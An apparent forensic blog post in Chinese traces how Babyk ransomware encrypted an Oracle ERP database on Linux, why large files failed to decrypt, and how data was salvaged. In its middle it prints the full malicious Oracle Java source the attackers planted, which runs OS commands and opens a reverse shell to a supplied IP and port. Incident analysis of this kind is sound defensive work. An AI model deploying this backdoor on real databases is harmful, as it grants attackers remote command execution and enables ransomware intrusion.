当前位置:首页>Linux>linux环境数据库文件被系统勒索加密溯源

linux环境数据库文件被系统勒索加密溯源

  • 2026-10-21 13:29:45
linux环境数据库文件被系统勒索加密溯源

“ 在很多人的认知里面,操作系统文件被加密勒索是windows的事情,其实在我接触的故障中,就有不少是linux或者是一些虚拟化平台被加密,只是他们没有win系统被加密那么常见,但是也不能掉以轻心”

有一个客户使用了xx厂商的erp软件的Oracle数据库服务被勒索加密(运行在linux平台),而且找人缴了赎金但是由于加密程序bug,导致部分大文件解密失败

文件加密结果

文件名称被加上.babyk,每个目录下面会留下一个README_babyk.txt文件

然后客户找人进行勒索解密,结果对于大于16G左右的文件解密失败.解密失败原因是由于较大文件加密算法问题,导致他们拿到了解密程序也无法解密,具体对于加密文件对比说明:

小文件加密情况

可以发现在加密文件尾部有一些字符串,估计是记录的某种加密信息
大于16g加密文件加密情况

通过对比可以确认文件和占用空间一致,而且尾部没有多出来38byte的字符串的文件是属于解密失败(因为本身加密就不正常)

被勒索加密源头分析

通过解密成功的system01.dbf(所幸小于16g)文件打开库,然后检查数据库中对象,发现一个异常的函数shellrun

create or replace function shellrun(methodName varchar2,                                    params     varchar2,                                    encoding   varchar2) return varchar2 aslanguage java name 'ShellUtil.run(java.lang.String,java.lang.String,java.lang.String) return java.lang.String';

进一步分析ShellUtil中内容

create or replace and compile java source named "ShellUtil" asimport java.io.*;import java.net.Socket;import java.util.concurrent.RecursiveTask;public class ShellUtil extends Object{    public static String run(String methodName, String params, String encoding) {        String res = "";        if (methodName.equals("exec")) {            res = ShellUtil.exec(params, encoding);        }else if (methodName.equals("connectback")) {            String ip = params.substring(0, params.indexOf("^"));            String port = params.substring(params.indexOf("^") + 1);            res = ShellUtil.connectBack(ip, Integer.parseInt(port));        }else {            res = "unkown methodName";        }        return res;    }    public static String exec(String command, String encoding) {        StringBuffer result = new StringBuffer();        try {            String[] finalCommand;            if (System.getProperty("os.name").toLowerCase().contains("windows")) {                String systemRootvariable;                try {                    systemRootvariable = System.getenv("SystemRoot");                }                catch (ClassCastException e) {                    systemRootvariable = System.getProperty("SystemRoot");                }                finalCommand = new String[3];                finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";                finalCommand[1] = "/c";                finalCommand[2] = command;            } else { // Linux or Unix System                finalCommand = new String[3];                finalCommand[0] = "/bin/sh";                finalCommand[1] = "-c";                finalCommand[2] = command;            }            BufferedReader readerIn = null;            BufferedReader readerError = null;            try {                readerIn = new BufferedReader(new InputStreamReader                    (Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));                String stemp = "";                while ((stemp = readerIn.readLine()) != null){                    result.append(stemp).append("\n");                }            }catch (Exception e){                result.append(e.toString());            }finally {                if (readerIn != null) {                    readerIn.close();                }            }            try {                readerError = new BufferedReader(new InputStreamReader              (Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));                String stemp = "";                while ((stemp = readerError.readLine()) != null){                    result.append(stemp).append("\n");                }            }catch (Exception e){                result.append(e.toString());            }finally {                if (readerError != null) {                    readerError.close();                }            }        } catch (Exception e) {            result.append(e.toString());        }        return result.toString();    }    public static String connectBack(String ip, int port) {        class StreamConnector extends Thread {            InputStream sp;            OutputStream gh;            StreamConnector(InputStream sp, OutputStream gh) {                this.sp = sp;                this.gh = gh;            }            @Override            public void run() {                BufferedReader xp = null;                BufferedWriter ydg = null;                try {                    xp = new BufferedReader(new InputStreamReader(this.sp));                    ydg = new BufferedWriter(new OutputStreamWriter(this.gh));                    char buffer[] = new char[1024];                    int length;                    while ((length = xp.read(buffer, 0, buffer.length)) > 0) {                        ydg.write(buffer, 0, length);                        ydg.flush();                    }                } catch (Exception e) {}                try {                    if (xp != null) {                        xp.close();                    }                    if (ydg != null) {                        ydg.close();                    }                } catch (Exception e) {                }            }        }        try {            String sp;            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {                sp = new String("/bin/sh");            } else {                sp = new String("cmd.exe");            }            Socket sk = new Socket(ip, port);            Process ps = Runtime.getRuntime().exec(sp);            (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();            (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();        } catch (Exception e) {        }        return "^OK^";    }}

这些程序的创建时间分析

这些程序都是4月24日14:58:40-14:58:50之间创建,通过咨询客户,客户的应用在4月24日上午进行了升级.基于上述情况,初步怀疑是通过应用给数据库层面注入了恶意脚本,创建了函数和一些java包,实现提权获取了操作系统权限,然后对操作系统文件进行加密.最终结论需要等应用和安全厂商进行确认

最终恢复处理

部分比较大的文件解密失败,数据库肯定无法正常open,通过分析无法解密的文件大概有10%左右block无法处理,最终通过扫描block提取数据实现最大程度帮客户抢救数据。

再次提醒:防勒索病毒不是只是windows系统的事情,也需要关注linux等其他系统的安全防护,尽可能做到离线备份

最新文章

随机文章